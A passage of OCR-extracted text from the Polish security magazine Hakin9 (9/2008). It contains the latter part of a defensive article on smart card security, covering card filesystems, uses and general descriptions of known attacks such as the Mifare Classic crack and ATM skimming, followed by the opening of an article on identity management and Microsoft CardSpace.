cyfrowego podpisywania, nie zaś 
do szyfrowania komunikacji. Jest to 
algorytm asymetryczny, który może 
zostać wykorzystany do przesłania 
informacji podprogowej. Długość kluczy, 
które używa się w tym algorytmie jest 
zmienna w zakresie od 512 do 1024 
bitów. Wydaje się, że są one adekwatne 
do współczesnych mocy obliczeniowych. 
Za dający przyzwoite bezpieczeństwo 
uważa się klucz o długości nie 
mniejszej niż 768 bitów. Mowa jest 
oczywiście o zastosowaniach cywilnych. 
Klucze wykorzystują również wojskowi 
amerykańscy i tam poziom zabezpieczeń 
jest zdecydowanie bardziej wyśrubowany.

Na tym katalog się nie kończy. Wraz 

z rozwojem technologii produkcji kart 

Rysunek 5. 

Czytnik kart

Rysunek 6. 

Czytnik kart przy komputerze

background image

46

 

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

47

 

HAKIN9 

9/2008

istniejące protokoły są unowocześniane 
– tak, że ich możliwości zdecydowanie 
się zwiększają. Przy okazji wzmocnieniu 
ulega również moc obliczeniowa samych 
kart. Współczesne są wyposażone 
często w matematyczne koprocesory, 
których zadaniem jest przede wszystkim 
zwiększenie szybkości operacji 
kryptograficznych. 

Skoro piszę o działaniu kart, warto 

wspomnieć jeszcze o znajdującym się 
na nich systemie plików. Jeśli mają coś 
na kształt systemu operacyjnego, to 
przecież system plików nie powinien być 
zaskoczeniem. W myśl wspomnianej już 
normy, sercem kart jest system plików 
o strukturze drzewa. Jego nazwa to 
SmartCard Filesystem (SCFS). Został 
on oparty na uniksowych systemach 
plików. Zastosowano w nim dwubajtowe 
nazwy plików oraz trzy główne typy plików. 
Pierwszy to Master File, czyli korzeń 
drzewa katalogów. Dedicated File to 
odpowiednik katalogu, zaś Elementary 
File to plik z danymi. O powiązaniu 
SCFS z systemami uniksowymi, a więc 
i Linuksem, świadczy fakt, że w Linuksie 
można bez większych problemów 
zamontować kartę inteligentną w drzewie 
katalogów.

Zastosowania smart cards

Zacznę od możliwości współpracy 
kart z systemami operacyjnymi. 
Można je wykorzystać do trzech 
podstawowych operacji, jak również 
wielu ich pochodnych. Pierwsza 
z nich to logowanie do systemu. 
Zamiast hasła korzystamy z karty. 
Za pomocą kart możemy wysyłać 

tzw. bezpieczne maile. W zależności 
od zainstalowanego w komputerze 
oprogramowania możemy je szyfrować 
bądź tylko podpisywać. Wreszcie karta 
może służyć do identyfikacji (właściwie 
autentykacji) np. klienta. Zerknijmy na 
te operacje dokładniej. Jak wyglądają 
poszczególne możliwości? Ich dogłębne 
przeanalizowanie jest moim zdaniem 
interesujące.

Logowanie za pomocą karty będzie 

wyglądało tak, jak korzystanie z niej w 
bankomacie, aparacie telefonicznym 
itp. Odbywa się ono w ten sposób, że 
karta przesyła do systemu certyfikat 
(najczęściej klucz publiczny, ale zależy 
to od naszych preferencji). Wcześniej 
jeszcze użytkownik może zostać 
poproszony o autoryzację. Podobnie, 
jak w bankomacie, może zajść 
potrzeba wpisania numeru PIN. W wielu 
miejscach nie pisze się o tym, że jest 
to tylko jeden ze sposobów – karta nie 
musi być zabezpieczona poprzez PIN. 
Wysłany przez kartę klucz publiczny 
jest wykorzystany do stworzenia przez 
komputer tzw. wyzwania, które trafia z 
powrotem do karty. Dekoduje ona je 
kluczem prywatnym, po czym wysyła 
odpowiedź. Logowanie polega na 
zweryfikowaniu poprawności klucza 
prywatnego i publicznego. W przypadku 
systemów z rodziny Windows, na 
podstawie danych użytkownika wysłanych 
w trakcie odpowiedzi, znajduje się 
odpowiednią pozycję w Active Directory
W tej metodzie klucz prywatny w ogóle 
nie opuszcza karty, przez co jest w pełni 
bezpieczny. Z kolei dzięki operacjom 
wykonanym na karcie system ma 
pewność, że próbuje się zalogować 
właściwy użytkownik.

W bardzo podobny sposób działa 

drugie z opisywanych zastosowań. W 
przypadku wysyłania bezpiecznego maila 
prywatny klucz również nie opuszcza 
karty. Szyfrowanie podpisu odbywa się 
bezpośrednio na karcie. Teoretycznie 
takie operacje można wykonywać na 
dowolnym komputerze zaopatrzonym w 
czytnik, nie tylko w naszym. Jeżeli jednak 
nie dysponujemy naprawdę dobrymi 
zabezpieczeniami, to szczerze odradzam. 
Jeżeli nie jest to zaufany komputer, lepiej 
nie ryzykować. W przypadku dobrej karty z 
rzeczywiście solidnymi zabezpieczeniami 

można się o to pokusić, w końcu istotą 
metody jest to, że klucz pozostaje na 
karcie.

Po tym, co napisałem, niewiele 

mi zostaje do dodania przy ostatnim 
wspomnianym zastosowaniu. Korzystając 
z karty, użytkownik podpisuje się 
elektronicznie poprzez szyfrowanie z 
wykorzystaniem określonego klucza 
prywatnego. Poza zwykłym podpisem 
możliwe są również takie operacje, jak 
wymiana kluczy. Istnieją nieograniczone 
wręcz możliwości wykorzystania karty 
we wszelkich transakcjach i komunikacji 
on-line. Jedną z takich możliwości jest 
przecież podpis elektroniczny, który powoli 
zaczyna rozwijać skrzydła (chociaż do 
nazwania go popularnym minie jeszcze 
pewnie co najmniej parę lat).

Jak zauważyliście, istnieje całkiem 

sporo możliwości wykorzystania kart 
podczas pracy z komputerem. Nie są to 
rozwiązania zbyt powszechne, zwłaszcza 
w polskich warunkach. Na Zachodzie, 
szczególnie w Stanach Zjednoczonych, 
sytuacja jest zupełnie inna. Kraje Unii 
Europejskiej stoją wprawdzie w tej materii 
o wiele lepiej niż Polska, jednakże – poza 
paroma wyjątkami – obywatele tych 
państw nie wykorzystują w większym 
stopniu kart w życiu codziennym.

Karty mają szereg innych zastosowań 

na codzień. Jednym z powszechniejszych 
jest wykorzystanie ich w systemach 
kontroli np. pomieszczeń czy różnego 
rodzaju zasobów. W wielu miejscach 
wykorzystywane są wprawdzie jeszcze 
karty magnetyczne (np. w hotelach, gdzie 
zastępują klasyczne klucze), które są 
powoli wycofywane z użytku. W Polsce 
coraz bardziej popularne stają się 
elektroniczne legitymacje studenckie, 
które przecież nie są niczym innym, jak 
po prostu rodzajem karty inteligentnej, 
służącej do przechowywania zbioru 
informacji. Podejrzewam, że wielu z 
Czytelników posiada karty płatnicze 
czy kredytowe, które są wyposażone 
w procesor. Karty w dokładnie tym 
samym formacie wykorzystuje się w 
ubezpieczeniach, w różnego rodzaju 
programach lojalnościowych. Weźmy 
program Orlenu. Karta Vitay to nic 
innego, jak karta inteligentna, na której 
przechowywane są informacje o ilości 
punktów promocyjnych jej posiadacza.

Rysunek 7. 

Kolejny przenośny czytnik kart

background image

48

 

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

49

 

HAKIN9 

9/2008

Wreszcie na sam koniec pozostawię 

sobie najpowszechniejsze zastosowanie 
inteligentnych kart w Polsce, czyli 
telefonię GSM. Na podstawie czego 
to wnioskuję? Telefonów komórkowych 
w Polsce jest już więcej niż Polaków. 
Sercem każdego z nich (przynajmniej, 
jeśli ma być podłączony do sieci) 
jest karta SIM, o której już gdzieś na 
początku tekstu już wspominałem. Jest 
to karta inteligenta, która posiada na 
pokładzie dane niezbędne do naszego 
logowania się w sieci. Identyfikuje nas, 
jeżeli nie jako konkretnego abonenta 
(bo możemy przecież korzystać w miarę 
anonimowo z prepaid), to przynajmniej 
jako klienta o określonym numerze 
telefonicznym. Swoją drogą zawiera 
również informacje o samej sieci, z 
której korzystają telefony posiadające 
tzw. simlocka (blokadę umożliwiającą 
działanie tylko w jednej sieci). Ponadto 
karty SIM mogą przechowywać również 
innego rodzaju informacje, na przykład 
naszą książkę telefoniczną. Ustępują 
wprawdzie w tym zastosowaniu samym 
telefonom, jednakże dzięki temu mamy 
dostęp do naszych kontaktów niezależnie 
od posiadanego sprzętu. Z pewnością 
jest to wygodne rozwiązanie dla niezbyt 
wymagających użytkowników (ponieważ 
na karcie można zapisać numer telefonu i 
inne podstawowe dane – co nie oznacza, 
że się to w przyszłości nie zmieni).

Czy inteligentne karty są tak 

bezpieczne, jak się wydaje? 

Wychowany w duchu powstającego 
kapitalizmu, wszechobecnego piractwa, 
jak również nieustających, z góry 
skazanych na niepowodzenie, prób 
zabezpieczenia swojej własności przed 
piratami, nauczyłem się jednego. Zawsze 
znajdzie się jakieś rozwiązanie, recepta 
na pewną trudność. Wychodzę przy 
tym z założenia, że nie ma systemów 
w 100% bezpiecznych. Podobnie jest 
z omawianymi kartami. Z pewnością 
są trudne do złamania, jednak istnieje 
wiele przykładów na to, że jest to 
mimo wszystko możliwe. Co jakiś czas 
słyszymy informację o tym, że np. zostały 
skopiowane czyjeś karty kredytowe bądź 
płatnicze. Zanim omówię rzeczywiste 
przypadki łamania zabezpieczeń smart 
cards, wspomnę o jeszcze jednej kwestii. 

Niezależnie od tego, jakimi 

zabezpieczeniami się otoczymy, 
to my sami jesteśmy najsłabszym 
ogniwem systemu zabezpieczeń. Jeżeli 
nieopatrznie udostępnimy osobie 
niepowołanej kod dostępu do naszej 
karty, to żaden system bezpieczeństwa 
nas nie ochroni. Przypadek numer jeden. 
Sam fakt, że w przypadku bankomatów 
kradzież rozpoczyna się tak naprawdę 
od naszego kodu PIN, świadczy, że nie 
można ot tak po prostu włamać się 
do karty – a przynajmniej stanowi to 
problem większy niż zdobycie samego 
numeru PIN. Aby go uzyskać, złodzieje 
posługują się przeróżnymi metodami, 
począwszy od przemocy fizycznej, na 
różnych podstępach skończywszy. 
Wspomnę tylko, że co poniektórych 
naprawdę powinniśmy się wystrzegać. 
Przede wszystkim w miejscach 
publicznych powinniśmy wpisywać PIN w 
sposób dyskretny. Przy bankomacie na 
pewno zaś w sposób, który przynajmniej 
utrudni chociażby nagranie naszej 
operacji. Zdarza się również, że sprytni 
złodzieje nakładają na klawiatury 
bankomatów różnego rodzaju urządzenia, 
które przechwytują wszystkie wpisywane 
hasła. W połączeniu z kamerką – to 
wręcz zabójcza kombinacja. Istnieją 
również urządzenia, które są w stanie 
zeskanować naszą transmisję na tyle, 
że złodziej jest w stanie wykonać dosyć 
wierną imitację naszej karty. Jeżeli 
jeszcze pozna PIN, to już puste konto w 

zasadzie murowane. Oczywiście zawsze 
może poznać kod, po czym mniej niż 
grzecznie poprosić nas o oddanie mu 
karty.

Czyli apeluję przede wszystkim o 

naszą rozwagę. Również niewskazane 
jest szafowanie numerami naszych 
urządzeń na lewo i prawo. Często 
podajemy, gdzie popadnie, numer naszej 
karty kredytowej, czym na przykład 
pozbawiamy się emerytury. Kuriozalna 
wręcz sytuacja zdarzyła się na jednym z 
dworców kolejowych w Polsce (zdarzyła 
się ona, kiedy kończyłem niniejszy artykuł). 
Mianowicie okazało się, że okienko 
przy kasie jest tak skonstruowane, 
że nie zmieści się przez nie terminal 
umożliwiający wpisane kodu PIN karty. 
Wyobraźcie sobie, że macie donośny 
głos, przez co z jedną z Waszych 
najważniejszych danych zapoznaje 
się jakaś niepowołana osoba i kłopoty 
gotowe. Jedyną receptą na tego typu 
sytuacje jest trzymanie karty zawsze 
przy sobie i nie ufanie zbytnio obcym 
sprzedawcom.

Ataki, o których właśnie wspominałem, 

to przede wszystkim działanie skierowane 
na przechwycenie pewnego elementu 
komunikacji i zrobienie z niego 
określonego użytku. Poza tym obiektem 
włamywacza może być cała karta jako 
taka, bądź na przykład tylko algorytmy 
szyfrowania czy tylko określone klucze. Z 
kolei przy włamywaniu stosuje się dwie 
podstawowe metody. W nieinwazyjnej 

Rysunek 8. 

Przykład reklamy

background image

48

 

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

49

 

HAKIN9 

9/2008

dane próbuje się pozyskać bez 
fizycznych zniszczeń na karcie. Celem 
ataku bywa przede wszystkim pamięć 
EEPROM. Mogą się z nią dziać różne 
dziwne rzeczy, jeżeli dostarczane do niej 
napięcie podlegać będzie anomaliom. 
Modyfikacji danych na wielu kartach 
można dokonać chociażby zwiększając 
oraz zmniejszając naprzemiennie 
napięcie zasilania podawanego za 
pomocą złączy. W przypadku co 
najmniej kilku kart zdarzyło się, że w 
wyniku takiej operacji zerowany był bit 
bezpieczeństwa, czyli – mówiąc ludzkim 
językiem – kasowały się zabezpieczenia. 
Nie wszystkie karty podatne są na tego 
typu ataki. Niemniej co jakiś czas pojawia 
się informacja, że jakaś karta padła 
ofiarą podobnego ataku. Producenci 
próbują w różny sposób przeciwdziałać 
wspomnianemu zagrożeniu. Na przykład 
jedną z wielu nieudanych była próba 
zainstalowania w kartach czujników 
napięcia, które by zawczasu informowały, 
że z kartą dzieje się coś dziwnego.

Metody inwazyjne związane są 

z fizycznymi uszkodzeniami karty. 
Po pierwsze, co poniektórzy zrywają 
wierzchnią warstwę plastyku, aby dostać 
się do wbudowanego układu karty. Po 
dostaniu się do mikroprocesora, traktuje 
się go często kwasem aż do ukazania się 
krzemu. W tej metodzie istnieje znaczne 
ryzyko uszkodzenia danych, ponieważ nie 
wiadomo tak naprawdę, jak określona 
karta się zachowuje. Dwie karty mogą 
być niby np. z tej samej fabryki, lecz 
może się okazać, że z jedną kartą się 
włamywaczowi uda, podczas gdy druga 
zostanie zniszczona. Dlatego łamanie 
kart jest raczej zabawą dla wytrwałych. 
Zwłaszcza ostatnia metoda jest więcej niż 
wymagająca.

W nielicznych przypadkach zdarza się, 

że złamany zostaje algorytm szyfrujący. 

Czasem te pojedyncze przypadki dotyczą 
produktu powszechnie dostępnego. 
Często producent nie od razu przyznaje 
się do luki (co niekoniecznie podyktowane 
jest jakąś złą wolą, lecz na przykład 
rzeczywistą chęcią zbadania problemu). 
Całkiem niedawno wyszedł na światło 
dzienne ciekawy przykład. 

Sprawa dotyczy bezprzewodowego 

systemu bezpieczeństwa Mifare 
Classic. System ten jest bardzo 
popularny na całym świecie (liczbę 
kart na całym świecie szacuje się na 
jakieś dwa miliardy). W Polsce został 
zaimplementowany na przykład w 
Warszawskiej Karcie Miejskiej. Ten 
skądinąd stosunkowo innowacyjny – jak 
na nasze warunki – program dotyczy 
elektronicznego biletu długookresowego. 
Nagrany na karcie bilet uaktywnia się po 
pierwszym skorzystaniu. Warszawiacy, 
wchodząc do środka komunikacji 
po raz pierwszy, są zobowiązani do 
przystawienia karty do czytnika ukrytego 
w kasowniku (lub w bramce metra). 
Karta zostaje wtedy aktywowana. 
Można oczywiście przedłużyć jej termin 
ważności. Nie jest wtedy nawet konieczne 
ponowne uaktywnianie systemu. W 
trakcie aktywacji termin ważności 
karty można spokojnie przeczytać na 
wyświetlaczu. Sprawdzić termin ważności 
karty można w dowolnym momencie. 
Po wygaśnięciu ważności karty może 
sobie ona poleżeć w szufladzie, po 
czym zostać ponownie załadowana i 
uaktywniona.

Wróćmy do dziury. W kwietniu 

tego roku niezależni naukowcy 
opublikowali raport, który opisywał crack 
umożliwiający złamanie algorytmu 
szyfrującego. W marcu istnienie luk 
bezpieczeństwa potwierdził holenderski 
operator systemu Mifare, przyznając 
równocześnie, że pierwsze sygnały o 
niebezpieczeństwie pojawiły się już pod 
koniec zeszłego roku – wraz z różnymi 
doniesieniami o udanych atakach na 
system. Sam producent nie przyznał, że 
luki występują.

Okazało się, że w grudniu 2007 grupa 

naukowców na konferencji w Berlinie 
przedstawiła dowody, zgodnie z którymi 
algorytm szyfrujący da się złamać w kilka 
minut i to na zwykłym komputerze. Z kolei 
holenderscy naukowcy z Uniwersytetu w 

Nijmegen przedstawili metodę, w myśl 
której wystarczy przygotować specjalną 
tabelkę (opartą na wcześniej już 
rozpracowanym algorytmie), dzięki której 
klucz bezpieczeństwa można złamać 
bez większych trudności. Producent 
wprawdzie nie przyznał się bezpośrednio 
do istnienia luk bezpieczeństwa, jednak 
zapowiedział wprowadzenie nowej, 
ulepszonej wersji karty z odmiennymi 
(czytaj: lepszymi) mechanizmami 
szyfrującymi.

Niedoskonałości mogą leżeć również 

po stronie algorytmów szyfrujących 
– zwłaszcza, jeżeli korzystamy z nich 
niewłaściwie (bądź wybierzemy byle jaką 
kartę). Okazuje się, że najpoważniejszym 
grzechem producentów kart jest częste 
stosowanie oprogramowania, które 
nie spełnia wymogów bezpieczeństwa. 
Przede wszystkim chodzi o źle 
zaprojektowane samo oprogramowanie, 
zły dobór algorytmów czy ich 
niewłaściwe zaimplementowanie na 
karcie. Wreszcie zdarza się często, że 
producent tak jakby nie zdawał sobie 
sprawy z istnienia jakiejś metody na 
złamanie szyfru.

Dużym błędem jest nie tylko 

niewłaściwy dobór algorytmu, lecz 
przede wszystkim ślepe zaufanie 
do bezpieczeństwa określonej 
metody. Weźmy na przykład klucz 
kryptograficzny ECDSA, który jest 
jednym z popularniejszych stosowanych 
narzędzi, a przy okazji jest uznawany 
za naprawdę bezpieczny. Zdarzyło się 
przynajmniej kilka przypadków jego 
złamania. W pewnym systemie skupiono 
się na zastosowaniu nowoczesnego, 
113-bitowego klucza kryptograficznego. 
Sam klucz nie zawiódł, przynajmniej nie 
bezpośrednio. Włamywacze wykorzystali 
fakt, że w trakcie tworzenia systemu nikt 
nie pomyślał o zabezpieczeniu samej 
komunikacji, która miała formę względnie 
otwartą. Włamywacze przechwycili 
komunikat z prywatnym kluczem ECC, 
dzięki któremu znaleźli luki w systemie i je 
z kolei wykorzystali do złamania klucza. Na 
zdarzeniu ucierpiał wizerunek firmy znanej 
z instalowania systemów zabezpieczeń. 
Z tym, że sam algorytm bezpieczeństwa 
okazał się naprawdę mocnym 
punktem systemu – po prostu w fazie 
implementacji pozostawiono znaczne 

W Sieci

•   http://www.cert.pl,
•   http://www.dobreprogramy.pl,
•   http://www.idg.pl,
•   http://www.securitywortal.pl,
•   http://www.heise-online.pl,
•   http://http://osnews.pl,
•   http://http://securitystandard.pl,
•   i wiele, wiele innych.

background image

50

 

HAKIN9 9/2008

OBRONA

możliwości do dokonania włamania. Sam 
klucz może być nie do złamania, trzeba 
jednak pamiętać, że oprogramowanie 
pracuje na tzw. krytycznym strumieniu 
danych, który jest zarazem kluczem 
deszyfrującym. Jeżeli nie zabezpieczymy 
tego strumienia danych, to kwestia 
złamania klucza może być znacznie 
ułatwiona. Wniosek: jeżeli zastosujemy 
nawet najlepszy algorytm kryptograficzny, 
gdzieś musimy posiadać do niego 
narzędzia deszyfrujące. Włamywacz 
będzie poszukiwał przede wszystkim ich 
– chociażby z racji tego, że bezpośrednie 
złamanie algorytmu może być albo 
niemożliwe, albo być zadaniem dla co 
najmniej kilku pokoleń. Stąd tak ważne jest 
zabezpieczenie sposobów komunikacji. 
Ale tak naprawdę zawsze gdzieś znajduje 
się słaby punkt.

Wspomnę również o innej luce, która 

wystąpiła nie tyle na samej karcie, co 
w technologii jej wykorzystania. Jest to 
o tyle konieczne, że karty, które mają 
służyć zabezpieczeniu systemu, w tym 
przypadku zostały wykorzystane jako 
narzędzie do włamania! Były pracownik 
Microsoftu, zapewne niezadowolony 
ze sposobu zwolnienia, stworzył 
narzędzie do fuzzingu (automatycznego 
wyszukiwania błędów). Jego zadaniem 
jest wyszukiwanie słabych stron w 
pluginach dla smart cards służących 
do współpracy z Vistą. Znalezienie 
słabych miejsc w oprogramowaniu 
pozwala nawet na przejęcie kontroli 
nad systemem. Za pomocą SCardFuzz 
przygotowano programy dla smart 
cards, które atakują sterowniki stworzone 
przez producentów dla Microsoftu 
(te znajdujące się już w systemie). 
Atak polega głównie na dostarczeniu 
fałszywych, często losowo wybranych 
danych dla plug-inów. Fałszywy kod 
można zapisać bez żadnych problemów 
na karcie i to za pomocą oryginalnego 
oprogramowania Java dostarczonego 
przez producentów. Twórca narzędzia 
wręcz pokusił się o stwierdzenie, że 
stworzenie apletu hakerskiego dla kart 
nie jest wcale trudne ani skomplikowane. 
Oczywiście łatwo to stwierdzić osobie 
mającej dostęp do wielu aspektów 
zamkniętego kodu, o którym zwykły haker 
może jedynie marzyć. Wracając do luki: 
wystarczy wsadzić kartę do komputera, 

aby móc wybierać procesy systemowe, 
a nawet przejąć całkowicie kontrolę nad 
komputerem.

W codziennym użytkowaniu kart 

trzeba zwracać uwagę na wszelkie 
nieprawidłowości. Na przykład 
w bankomatach mogą zostać 
zainstalowane różnego rodzaju 
urządzenia skanujące, które służą 
często do znalezienia słabego punktu 
w komunikacji. Słabym punktem jest 
moment przesyłania komunikatu 
identyfikującego do systemu bankowego. 
Skopiowanie tego komunikatu nie daje 
jeszcze nikomu naszych pieniędzy. Sam 
komunikat jest bezwartościowy, ponieważ 
nie da się np. złamać jego szyfrowania. 
Natomiast wystarczy zdobyć kod PIN i 
zostajemy bez pieniążków.

Wrócę do pytania postawionego 

w nagłówku. Niestety, nie ma się co 
oszukiwać, że istnieją systemy nie 
do złamania. Przynajmniej nie wtedy, 
gdy mówimy o czymś tworzonym dla 
przeciętnego Kowalskiego. Liczba 
elementów takiego systemu jest 
zazwyczaj na tyle duża, że gdzieś zawsze 
trafi się słaby punkt. Co do właściwości 
samych kart, to w większości przypadków 
nie mamy na nie absolutnie żadnego 
wpływu. Kupując kartę kredytową czy 
płatniczą, możemy co najwyżej wybrać 
pomiędzy Visą lub MasterCard. Nic 
nie mam do tych firm, jednak wybór 
w tej materii przecież nie jest duży. 
W przypadku, kiedy dostajemy kartę 
SIM, telefoniczną czy przepustkę do 
firmy, również nikt się nas nie pyta o 
zabezpieczenia. W tych wszystkich 
przypadkach jedyne, co nam pozostaje, 
to zdrowy rozsądek, bez którego żadne 
zabezpieczenie nie spełni swojej roli. 
Karta elektroniczna jest jak klucz do 
najlepszych drzwi antywłamaniowych. 
Nawet strażacy ich nie sforsują (a 
przynajmniej nie przed spaleniem 
całego mieszkania). Jeżeli jednak 
zgubimy klucze (a, nie daj Boże, wraz 
z dokumentami, w których jest adres) 
– to tak, jakby w ogóle nie było drzwi. 
Zamki w takiej sytuacji należy wymienić 
w trybie błyskawicznym. Jeżeli zaś mamy 
okazję decydować samodzielnie, z jakiej 
karty korzystamy, zwróćmy uwagę na 
to, ile zabezpieczeń stosuje karta oraz 
czy producent przewiduje możliwość ich 

uaktualnienia (co jest ważne szczególnie 
w przypadku kart długoterminowych).

Kartę chronimy więc przed zgubieniem, 

zaś kodu dostępu strzeżemy niczym dobra 
narodowego. Wystrzegamy się kamer 
i urządzeń skanujących. Kamer w ten 
sposób, że w miarę możliwości zakrywamy 
klawiaturę bankomatu ręką (nawet 
przed kamerą ochrony, której z definicji 
również nie ufamy). Jeżeli na bankomacie 
zainstalowane jest jakiekolwiek urządzenie 
dodatkowe, coś nietypowego wystaje z 
miejsca, gdzie wkładamy karty – jest to 
sygnał dla nas, że coś jest nie w porządku 
i lepiej poszukać innej ściany do wypłaty 
pieniędzy. Przy okazji, jako odpowiedzialny 
klient, informujemy bank o naszych 
podejrzeniach.

Podobne środki bezpieczeństwa 

stosujemy we wszystkich innych 
miejscach. Jeżeli karta jest naszą 
przepustką, zaś nagle okazuje się, że 
terminal przy bramie wejściowej jest jakiś 
inny, to radzę się najpierw skontaktować z 
ochroną. Lepiej dmuchać na zimne. Może 
się później okazać z analizy logów, że 
wróciliśmy 15 minut po pracy po to, aby 
dokonać aktu szpiegostwa, czy sabotażu 
gospodarczego.

Odpowiedź na pytanie, czy karty są 

bezpieczne, jest o tyle niejednoznaczna, 
że o ile same kawałki plastyku mogą być 
naprawdę świetnymi zabezpieczeniami, to 
my – jako użytkownicy – często zawalamy 
sprawę.

Podsumowanie

Mam nadzieję, że dzięki artykułowi udało 
mi się przybliżyć Wam tematykę smart 
cards na tyle, że przynajemniej będziecie w 
stanie korzystać z nich odpowiedzialnie. Ich 
technologia ciągle idzie do przodu i myślę, 
że w związku z postępującą miniaturyzacją 
możecie spodziewać się po nich jeszcze 
wiele nowego, przynajmnij jeżeli chodzi 
o wzrost liczby funkcji czy zastosowań. 
Zresztą chodzą słuchy, że czeka nas 
niedługo – a przynajmniej w najbliższych 
latach – wymiana dowodu osobistego na 
wersję elektroniczną. Pożyjemy, zobaczymy. 

Przemysław Żarnecki

Autor jest dziennikarzem freelancerem. W pracy korzysta 

non-stop z elektronicznych form komunikacji, przez co 

zwraca uwagę na bezpieczeństwo. Jak każdy, korzysta z 

wielu różnych kart.

Kontakt z autorem: p.zarnecki@plusnet.pl

background image
background image

52

 

OBRONA

HAKIN9 9/2008

C

ykl ten składa się z trzech 
podstawowych elementów, na które 
składają się usługi:

•   Usługi katalogowe, czyli repozytoria 

przechowujące informację o tożsamościach i 
uwierzytelnienia oraz uprawnienia;

•   Access management, czyli procesy 

weryfikacji uwierzytelnień, kontroli dostępu do 
zasobów (w tym przyznawania i odbierania 
dostępu) zgodnie z uprawnieniami 
stosownymi do roli;

•  Identity Lifecycle Management, czyli zestaw 

zdefiniowanych procesów tworzenia, 
usuwania oraz modyfikacji ustawień kont, 
zarządzania zmianami stanu i informacji 
o tożsamości wraz z informacją o 
uprawnieniach. 

Procesy związane z zarządzaniem 
tożsamością są powszechnie znane. Wiele 
firm stosuje własne rozwiązania, ale z drugiej 
strony znaczna liczba organizacji wdraża 
gotowe systemy i aplikacje pomagające w 
codziennej pracy. W chwili obecnej w wielu 
przedsiębiorstwach można nadal napotkać 
na problemy związane z zarządzaniem 
tożsamością, które mogą powodować ogromny 
chaos dla użytkowników. Na czym polega 
taki chaos? Ogólnie rzecz biorąc, w każdym 
przedsiębiorstwie istnieje więcej niż jeden 
system, który wymaga logowania do niego, 

ARTUR ŻARSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

artykuł przedstawia zagadnienia 

związane z zarządzaniem 

tożsamością na platformie 

Microsoft ze szczególnym 

uwzględnieniem CardSpace.

CO POWINIENEŚ 

WIEDZIEĆ

nie jest potrzebna żadna 

szczegółowa wiedza dotycząca 

technologii. Jest to artykuł 

wprowadzający w temat 

zarządzania tożsamością.

oraz więcej niż jeden użytkownik, który ma 
takie, a nie inne uprawnienia. Każdy z tych 
użytkowników posiada swoje własne hasło 
logowania do takiego systemu, a zatem – im 
więcej systemów, tym większa konieczność 
pamiętania nazw użytkowników i haseł. Z punktu 
widzenia administratorów systemy zarządzające 
użytkownikami w sposób zdecentralizowany 
również są problematyczne. Co zatem można 
zrobić? Czy jest jakaś możliwość, aby omawiany 
proces był łatwiejszy, bezpieczniejszy i przede 
wszystkim bliższy optymalnemu? Oczywiście, że 
jest – kwestia kluczowa to wdrożenie systemu 
zarządzania tożsamością. 

Systemy zarządzające tożsamością posiadają 

wiele funkcji, wśród których można wyróżnić 
między innymi:

•   Zarządzanie nowym użytkownikiem 

– utworzenie konta, utworzenie 
uwierzytelnienia, nadanie odpowiednich 
praw dostępu;

•   Kasowanie – kasowanie lub blokada konta, 

kasowanie lub blokada praw dostępu;

•   Zarządzanie hasłami – sprawdzanie siły hasła, 

reset hasła;

•  Zmiany typu konta – awanse, transfery, nowe 

przywileje, zmieniające się atrybuty, etc. 

Do tego wszystkiego dochodzi stworzenie 
metabazy, która będzie te wszystkie informacje 
gromadzić i synchronizować pomiędzy różnymi 

Stopień trudności

Zarządzanie 

tożsamością

Zarządzanie tożsamością jest bardzo szerokim pojęciem, 

które posiada wiele definicji. Definicje te można sprowadzić do 

stwierdzenia, które mówi, że jest to zestaw technologii i procedur 

umożliwiający efektywne zarządzanie cyklem życia tożsamości 

użytkownika. 

background image

53

 

ZARZĄDZANIE TOŻSAMOŚCIĄ

HAKIN9 

9/2008

systemami, a także będzie posiadać 
mechanizm raportowania tego, co się 
aktualnie dzieje w systemie. 

Na czym polega w takim razie 

synchronizacja? Do jej zadań należy 

między innymi automatyzacja 
zarządzania życiem obiektów 
(provisioning oraz deprovisioning), 
przepływ danych pomiędzy katalogami, 
przechowywanie informacji o relacjach 

pomiędzy obiektami odpowiadającymi 
tej samej tożsamości, które znajdują 
się w różnych katalogach. Proces 
synchronizacji zapewnia, że będziemy 
posiadać spójne dane w zintegrowanych 
katalogach, że podstawowe informacje 
będą replikowane do wszystkich 
katalogów oraz że dysponujemy 
aktualnymi danymi. 

Przy opisywaniu procesu 

synchronizacji spotykamy dwa nowe 
hasła: provisioning oraz proces 
odwrotny, czyli deprovisioning

Pierwsze z tych pojęć to 

automatyzacja procesu dostępu do 
zasobów, w których użytkownik otrzymuje 
swoje własne uprawniania w sposób 
zupełnie automatyczny na bazie danych 
wejściowych. 

Zestaw reguł definiuje, w jakich 

repozytoriach i na jakich zasadach 
użytkownik powinien mieć dostęp 
do zasobów. Provisioning to nie 
tylko tworzenie kont, ale również 
tworzenie unikalnego loginu i 
innych atrybutów, które są zgodne z 
zadanymi konwencjami nazewnictwa, 
przypisanie do odpowiednich ról 
lub grup, do kontenerów zgodnie ze 
stanowiskiem, ustawienie i przekazanie 
pierwszego hasła dostępowego, 
wysłanie wiadomości powitalnej, etc. 
Deprovisioning to proces odwrotny. 

Przejdźmy zatem do głównego 

tematu artykułu, czyli zarządzania 
tożsamością przy wykorzystaniu 
produktów Microsoft i dokładniejszego 
omówienia jednego z nich. Microsoft 
w swoim katalogu rozwiązań posiada 
wiele produktów lub technologii, które 
umożliwiają zarządzanie tożsamością. 
W dalszej części tekstu postaram się je 
wszystkie przedstawić. 

Rysunek 1. 

Schemat działania CardSpace 

�����������������������������

�����������������������������

������������������������

����������������������������

������������������

������������

���������������������

�������������������������

������������������

����������

��������������

���������������������

�����������

���������������������

���������������������

�����������������

�������������������������������������

����������������������������

������������������������������������

��

��

��

��

���

��

Rysunek 2. 

Logowanie do strony przy użyciu CardSpace 

Rysunek 3. 

CardSpace w Panelu 

Sterowanie 

background image

OBRONA

54

 

HAKIN9 9/2008

ZARZĄDZANIE TOŻSAMOŚCIĄ

55

 

HAKIN9 

9/2008

Do rozwiązań związanych z 

zarządzaniem tożsamością należą 
między innymi:

•   Access Control List – lista kontroli 

dostępu, skojarzona z plikiem lub 
obiektem, zawierająca informacje 
o użytkownikach, procesach lub 
obiektach, które mogą uzyskiwać do 
niego dostęp.

•   Active Directory – usługi katalogowe dla 

systemu Windows Server;

•   ADAM (AD LDS), ADFS – Active 

Directory Application Mode oraz 
Active Directory Federation Services
czyli specjalne tryby pracy dla 
